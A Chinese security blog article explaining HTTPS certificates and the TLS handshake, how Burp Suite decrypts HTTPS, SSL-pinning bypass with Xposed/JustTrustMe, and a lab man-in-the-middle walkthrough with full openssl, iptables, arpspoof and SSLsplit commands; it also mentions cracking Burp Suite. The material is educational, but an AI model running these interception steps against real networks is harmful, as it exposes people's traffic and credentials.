甜橙安全头条第23期 | burpsuite为啥能解https的包

百家 作者:甜橙安全应急响应中心 2020-08-07 23:29:29



burpsuite为啥能解https的包



一、http为什么不安全?  


http协议属于明文传输协议,交互过程以及数据传输都没有进行加密,通信双方也没有进行任何认证,通信过程非常容易遭遇劫持、监听、篡改,严重情况下,会造成恶意的流量劫持等问题,甚至造成个人隐私泄露(比如银行卡卡号和密码泄露)等严重的安全问题。
可以把http通信比喻成寄送信件一样,A给B寄信,信件在寄送过程中,会经过很多的邮递员之手,他们可以拆开信读取里面的内容(因为http是明文传输的)。A的信件里面的任何内容(包括各类账号和密码)都会被轻易窃取。除此之外,邮递员们还可以伪造或者修改信件的内容,导致B接收到的信件内容是假的。
比如常见的,在http通信过程中,“中间人”将广告链接嵌入到服务器发给用户的http报文里,导致用户界面出现很多不良链接;或者是修改用户的请求头URL,导致用户的请求被劫持到另外一个网站,用户的请求永远到不了真正的服务器。这些都会导致用户得不到正确的服务,甚至是损失惨重。


二、https如何保证安全


要解决http带来的问题,就要引入加密以及身份验证机制。


引入对称加密和非对称加密

服务器把公钥发给客户端,客户端用这个公钥来加密进行数据传输的对称密钥。
客户端利用公钥将对称密钥发给服务器时,即使中间人截取了信息,也无法解密,因为私钥只部署在服务器,其他任何人都没有私钥,因此,只有服务器才能够解密。服务器拿到客户端的信息并用私钥解密之后,就可以拿到加解密数据用的对称密钥,通过这个对称密钥来进行后续通信的数据加解密。后续传输数据时可用前几步的对称密钥来进行加解密。

这样是不是就一定安全?

中间人获取对称密钥的过程

中间人在收到服务器发送给客户端的公钥(这里是“正确的公钥”)后,并没有发给客户端,而是中间人将自己的公钥(这里中间人也会有一对公钥和私钥,这里称呼为“伪造公钥”)发给客户端。之后,客户端把对称密钥用这个“伪造公钥”加密后,发送过程中经过了中间人,中间人就可以用自己的私钥解密数据并拿到对称密钥,此时中间人再把对称密钥用“正确的公钥”加密发回给服务器。此时,客户端、中间人、服务器都拥有了一样的对称密钥,后续客户端和服务器的所有加密数据,中间人都可以通过对称密钥解密出来。


首先来看一种场景:小红发信息约小明放学后去电影



正常的信息流动是这样的

1.小红 -> 放学后去看电影吧?-> 小明

2.小明 -> 好,校门口等我。->  小红


但如果存在一个中间人把小红和小明的信息拦截,并做了修改,信息流变成了下面这样:

1.小红 -> 放学后去看电影吧?-> 中间人(你) -> 今天上课有点累,放学我就回家了,不要等我。-> 小明

2.小明 -> 好吧,好好休息。-> 中间人(你) -> 不去了,放学后我就回家。-> 小红


小红以为小明不陪自己看电影,小明以为小红放学就回家了,而你就找了个理由约上小红去看电影了。
之所以会产生误解,是因为小红和小明没办法验证对方信息的真假,都以为收到了对方的正确信息,这是个典型的中间人的例子。


引入数字证书

为了解决此问题,我们引入了数字证书的概念。服务器首先生成公私钥,将公钥提供给相关机构(CA),CA将公钥放入数字证书并将数字证书颁布给服务器,此时服务器就不是简单的把公钥给客户端,而是给客户端一个数字证书,数字证书中加入了一些数字签名的机制,保证了数字证书一定是服务器给客户端的。中间人发送的伪造证书,不能够获得CA的认证,此时,客户端和服务器就知道通信被劫持了。


数字证书有三个作用:

1.身份授权。确保浏览器访问的网站是经过CA验证的可信任的网站。

2.分发公钥。每个数字证书都包含了注册者生成的公钥(验证确保是合法的,非伪造的公钥)。在SSL握手时会通过certificate消息传输给客户端。

3.验证证书合法性。客户端接收到数字证书后,会对证书合法性进行验证。只有验证通过后的证书,才能够进行后续通信过程。


那么问题又来了,数字证书谁来校验?

引入数字签名

数字签名(digital signature)是证书的防伪标签,目前使用最广泛的SHA-RSA(SHA用于哈希算法,RSA用于非对称加密算法)。

数字签名的制作和验证过程如下:

1.数字签名的签发。首先是使用哈希函数对待签名内容进行安全哈希,生成消息摘要,然后使用CA自己的私钥对消息摘要进行加密。

2.数字签名的校验。使用CA的公钥解密签名,然后使用相同的签名函数对签名证书内容进行签名,并和服务端数字签名里的签名内容进行比较,如果相同就认为校验成功。


数字证书主要包含那些信息:
1.证书颁发机构
2.证书颁发机构签名
3.证书绑定的服务器域名
4.证书版本、有效期
5.签名使用的加密算法(非对称算法,如RSA)
6.公钥

Tip: 信息收集中基于SSL证书查询

查找一个域名证书的最简单方法是使用搜索引擎来收集计算机的CT日志,并让任何搜索引擎搜索它们。前两种比较常用

(1)https://crt.sh/

(2)https://censys.io/

(3)https://developers.facebook.com/tools/ct/

(4)https://google.com/transparencyreport/https/ct/

看看我们自己的

总结一下:

1

好的设计应该体现品牌客户端的浏览器向服务器传送客户端SSL 协议的版本号,加密算法的种类,产生的随机数,以及其他服务器和客户端之间通讯所需要的各种信息。


2

服务器向客户端传送SSL 协议的版本号,加密算法的种类,随机数以及其他相关信息,同时服务器还将向客户端传送自己的证书。


3

客户利用服务器传过来的信息验证服务器的合法性,服务器的合法性包括:证书是否过期,发行服务器证书的CA 是否可靠,发行者证书的公钥能否正确解开服务器证书的“发行者的数字签名”,服务器证书上的域名是否和服务器的实际域名相匹配。如果合法性验证没有通过,通讯将断开;如果合法性验证通过,将继续进行第四步。



4

用户端随机产生一个用于后面通讯的“对称密码”,然后用服务器的公钥(服务器的公钥从步骤②中的服务器的证书中获得)对其加密,然后将加密后的“预主密码”传给服务器。

5

服务器和客户端用相同的主密码即“通话密码”,一个对称密钥用于SSL 协议的安全数据通讯的加解密通讯。同时在SSL 通讯过程中还要完成数据通讯的完整性,防止数据通讯中的任何变化。


6

服务器向客户端发出信息,指明后面的数据通讯将使用的步骤5中的主密码为对称密钥,同时通知客户端服务器端的握手过程结束。

7

SSL 的握手部分结束,SSL 安全通道的数据通讯开始,客户和服务器开始使用相同的对称密钥进行数据通讯,同时进行通讯完整性的检验。


那么问题又又来了,burp为啥还能抓到https的包?



三、Burpsuite抓包原理解析



Burpsuite配置过程


1.先将burpsuite破解 ,过程略

2.配置 Burp suite 代理 ,打开burp 选择proxy----->options

3.浏览器进行配置 , 这里以谷歌浏览器为例 ,其他浏览器类似,可自行百度。设置----->高级 ----->打开代理,如下图:

4.配置完成后就可以使用burp suite进行抓包了,但是抓包过程中可能出现如下问题, https无法抓取,以前点击高级,点击继续访问可以进行,但是现在貌似不可以了,解决办法就是安装burp的受信任证书。

5.安装SSL受信任证书,打开浏览器访问 http://burp ,点击CA   Certificate下载 证书进行安装。

6. 点击下一步直到完成 ,最后会弹出一个警告对话框,选择是即可。如下图是安装后的抓包效果。

原理解析

·客户端向服务器发起HTTPS请求。

·Burpsuite拦截客户端的请求,伪装成客户端向服务器进行请求。

·服务器向“客户端”(实际上是Burpsuite)返回服务器的CA证书。

·Burpsuite拦截服务器的响应,获取服务器证书公钥,然后自己制作一张证书,将服务器证书替换后发送给客户端。(这一步,Burpsuite拿到了服务器证书的公钥)

·客户端接收到“服务器”(实际上是Burpsuite)的证书后,生成一个对称密钥,用Burpsuite的公钥加密,发送给“服务器”。(Burpsuite)

· Burpsuite拦截客户端的响应,用自己的私钥解密对称密钥,然后用服务器证书公钥加密,发送给服务器。(这一步,Burpsuite拿到了对称密钥)

·服务器用自己的私钥解密对称密钥,向“客户端”(Burpsuite)发送响应。

·Burpsuite拦截服务器的响应,替换成自己的证书后发送给客户端。

·至此,连接建立,Burpsuite拿到了 服务器证书的公钥 和 客户端与服务器协商的对称密钥,之后就可以解密或者修改加密的报文了。

·HTTPS抓包的原理还是挺简单的,简单来说,就是Burpsuite作为“中间人代理”,拿到了 服务器证书公钥 和 HTTPS连接的对称密钥,前提是客户端选择信任并安装Burpsuite的CA证书,否则客户端就会“报警”并中止连接。这样看来,HTTPS还是很安全的。


挂代理与未挂代理证书区别

反抓包策略

为了防止中间人攻击,可以使用SSL-Pinning的技术来反抓包。可以发现中间人攻击的要点的伪造了一个假的服务端证书给了客户端,客户端误以为真。解决思路就是,客户端也预置一份服务端的证书,比较一下就知道真假了。
SSL-pinning有两种方式:证书锁定(Certificate Pinning) 和公钥锁定( Public Key Pinning)。

· 证书锁定 需要在客户端代码内置仅接受指定域名的证书,而不接受操作系统或浏览器内置的CA根证书对应的任何证书,通过这种授权方式,保障了APP与服务端通信的唯一性和安全性,因此客户端与服务端(例如API网关)之间的通信是可以保证绝对安全。但是CA签发证书都存在有效期问题,缺点是在 证书续期后需要将证书重新内置到APP中。

· 公钥锁定 提取证书中的公钥并内置到客户端中,通过与服务器对比公钥值来验证连接的正确性。制作证书密钥时,公钥在证书的续期前后都可以保持不变(即密钥对不变),所以可以避免证书有效期问题,一般推荐这种做法。


突破SSL-Pinning抓包

在逆向界,一山更比一山高。思路是这样的:内置证书或者公钥的时候,常常会有对比验证的函数,直接控制这个函数的返回结果让验证通过不就好了吗。于是就有了一个突破SLL-Pinning的经典操作:采用Xposed+justTrustme模块。这个方案使用的是JustTrustMe这个Xposed模块,它所做的事情就是将各种已知的的HTTP请求库中用于校验证书的API都进行Hook,使无论是否是可信证书的情况,校验结果返回都为正常状态,从而实现绕过证书检查的效果。


四、sslsplit嗅探tls/ssl连接


1.工作原理

SSLsplit和其他SSL代理工具十分相似:它可以作为客户端和服务器之间的中间人。只要流量被重定向到SSLsplit运行(更改默认网关、ARP欺骗或其他手段)的服务器,SSLsplit开始进行SSL连接并假装是客户端连接到的服务器。要做到这一点,它会动态声称一个证书,使用CA证书的私钥(客户端信任的)签名。

这里给出SSLSplit的git地址:

https://github.com/droe/sslsplit

下载并编译SSLsplit

2.安装

首先我们从git上面把源码搞下来:

git clone https://github.com/droe/sslsplit.git /opt/sslsplit

这里说一下,源码编译依赖于两个包,这个kali默认是没有安装的,我们需要安装一下apt-get install libssl-dev libevent-dev

然后进行编译,成功之后我们输入sslsplit -h应该就会有帮助回显了

中间人攻击

准备好了之后我们开始尝试中间人攻击。先,我们需要一份数字根证书,用来进行中间人欺骗。我们为了实验可以用openssl自己生成一封证书。

简略步骤如下:

①先生成一个key文件

openssl genrsa -out ca.key 2048

②然后自签名用生成的key生成公钥证书:

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

这样我们就把根证书建好了。

③然后我们还需要在攻击测试机上进行端口流量转发,将对应的流量转到工具中来,在此之前需要打开ip_forward功能:

echo 1 > /proc/sys/net/ipv4/ip_forward

④接着是用iptables进行流量转发,需要把我们需要的端口进行转发:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

当然,在此之前请记得使用iptables -F清除原有设置。

我们可以使用以下命令查看当前的配置

iptables -t nat -L

⑤下一步是ARP欺骗

arpspoof -i eth0 -t 192.168.217.129 -r 192.168.217.2

开始劫持的时候再打开ARP,因为我们的端口转发已经打开,ARP流量已经不能与平时一样正常走攻击机的正常端口,会出现靶机上不了网的情况

⑥启动ARP

arpspoof -i eth0 -t 192.168.217.129 -r 192.168.217.2

接着启动SSLSplit

sslsplit-D-lconnect.logj/opt/sslsplit/test1-Slogdir/kca.keyc ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

启动之后,ARP结果如下:

SSLSplit启动之后:

然后此时我们使用靶机浏览https网页,就已经发现类似以上yahoo的状况了:

我们选择继续浏览:

这里我们已经可以清晰看到我们的制作的根证书已经替换掉了服务器的官方证书。

五、http双向认证


1.客户端发起HTTPS请求,将SSL协议版本的信息发送给服务端

2.服务端去CA机构申请来一份CA证书,证书里面有服务端公钥和签名。将CA证书发送给客户端

3.客户端读取CA证书的明文信息,采用相同的hash散列函数计算得到信息摘要(hash目的:验证防止内容被修改),然后用操作系统带的CA的公钥去解密签名(因为签名是用CA的私钥加密的),对比证书中的信息摘要。如果一致,则证明证书是可信的,然后取出了服务端公钥

4.客户端发送自己的客户端证书给服务端,证书里面有客户端的公钥:C_公钥

5.客户端发送支持的对称加密方案给服务端,供其选择

6.服务端选择完加密方案后,用刚才得到的C_公钥去加密选好的加密方案

7.客户端用自己的C_私钥去解密选好的加密方案,客户端生成一个随机数(密钥F),用刚才等到的服务端B_公钥去加密这个随机数形成密文,发送给服务端。

8.服务端和客户端在后续通讯过程中就使用这个密钥F进行通信了。和之前的非对称加密不同,这里开始就是一种对称加密的方式。



———— / END / ————




那些年甜橙安全给你分享过的干货



- 甜橙安全头条 -

技术干货之透析中间人攻击


- 甜橙安全小课堂 -

《如何保护个人信息


- 热点追踪-

 关注3·15晚会之 “网赚”类App,到底有多不靠谱?



-更多精彩,请关注下方公众号-

 




关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接